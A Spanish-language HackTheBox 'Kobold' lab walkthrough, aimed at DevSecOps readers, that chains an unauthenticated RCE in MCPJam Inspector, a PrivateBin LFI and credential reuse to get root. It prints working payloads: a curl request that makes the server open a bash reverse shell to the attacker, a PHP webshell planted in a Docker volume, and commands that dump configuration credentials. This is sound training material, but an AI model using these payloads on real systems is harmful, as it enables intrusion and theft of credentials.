Volver al inicio

RCE en MCPJam Inspector: guía de HTB Kobold

HackTheBox Kobold demuestra RCE en MCPJam Inspector vía API abierta, encadenando con LFI en contenedor Docker de PrivateBin y reutilización de credenciales para elevación de privilegios en dashboard de Arcane. La guía incluye nmap, ffuf, payloads y reconocimiento interno.

HTB Kobold: de RCE en MCP a root vía Docker
Advertisement 728x90

RCE a través de MCPJam Inspector en HackTheBox Kobold: Guía Completa

HackTheBox Kobold (Temporada 10, Fácil) destaca una amenaza real de herramientas de desarrollo expuestas en el ecosistema de IA/ML. El vector principal de ataque es un RCE sin autenticación en MCPJam Inspector v1.4.2 (GHSA-232v-j27c-5pp6). Esto conduce a una cadena a través de volúmenes de Docker y reutilización de credenciales, resultando finalmente en acceso root. Este análisis está dirigido a profesionales de DevSecOps de nivel medio a senior.

Nmap revela los puertos 22 (SSH), 80/443 (nginx, kobold.htb) y 3552 (panel Arcane). La clave es un comodín *.kobold.htb en SSL y el subdominio mcp.kobold.htb con un MCPJam Inspector expuesto.

Reconocimiento y Enumeración

Escaneo estándar de nmap:

Google AdInline article slot
nmap -p- -sC -sV -oN recon/nmap/full.txt <IP del objetivo>

| Puerto | Servicio | Versión | Notas |

|--------|----------|---------|-------|

| 22 | SSH | OpenSSH 9.6p1 | Sin CVE |

Google AdInline article slot

| 80 | HTTP | nginx 1.24.0 | Redirige a HTTPS |

| 443 | HTTPS | nginx 1.24.0 | kobold.htb |

| 3552 | HTTP | - | Panel Arcane |

Google AdInline article slot

ffuf para enumeración de vhost:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154

Encontrado mcp.kobold.htb — MCPJam Inspector v1.4.2. Acceso completo: Servidores, Chat, Constructor de Aplicaciones sin inicio de sesión. Conectado a Ollama.

Protocolo de Contexto de Modelo (MCP) — un protocolo para integrar modelos de IA con herramientas externas. Inspector escucha en 0.0.0.0, y la API /api/mcp/connect acepta serverConfig.command sin validación.

Punto de Apoyo: RCE en MCPJam

Configuración del listener:

nc -lvnp 4444

Payload:

curl -k https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Tu IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'

Shell como ben (uid=1001, grupos=ben,operator). Estabilización:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm

Bandera de usuario: /home/ben/user.txt.

Reconocimiento Interno

id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

cat /etc/group | grep docker
# docker:x:111:alice

Usuarios con shell: root, ben, alice. ben — operator, alice — docker.

ss -tlnp muestra localhost:8080 (PrivateBin Docker), 6274 (MCPJam). La configuración de nginx revela bin.kobold.htb → localhost:8080.

El grupo operator tiene acceso de lectura/escritura a /privatebin-data/ — un volumen compartido de Docker.

find / -group operator 2>/dev/null

LFI en PrivateBin a través del Volumen

PrivateBin 2.0.2 (CVE-2025-64714, GHSA-g2j9-g8r5-rg82). LFI a través de la cookie template cuando templateselection = true.

  • Webshell en el volumen:
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
  • Ejecución:
curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=id"
  • Volcado de conf.php:
curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=cat /srv/cfg/conf.php"

Credenciales de MySQL: usuario privatebin, contraseña filtrada.

Escalada de Privilegios: Reutilización de Credenciales

Lista de verificación:

  • SSH (alice/ben/root + filtradas)
  • su alice/root
  • Arcane: arcane/arcane-admin + filtradas

Éxito: arcane / <CONTRASEÑA_FILTRADA> en Arcane v1.13.0 en :3552.

En el panel, control total de Docker. Crear un contenedor con montaje privilegiado /host → shell root.

Conclusiones Clave:

  • Herramientas MCP expuestas (GHSA-232v-j27c-5pp6) — un nuevo vector de RCE en infraestructura de IA
  • Volúmenes de Docker compartidos + grupo operator = acceso al sistema de archivos del host
  • Reutilización de credenciales: usuarios predeterminados + contraseñas filtradas
  • Encadenamiento de LFI a través de volúmenes escribibles evita el aislamiento de contenedores
  • Siempre enumerar subdominios comodín y servicios internos

— Editorial Team

Advertisement 728x90

Leer después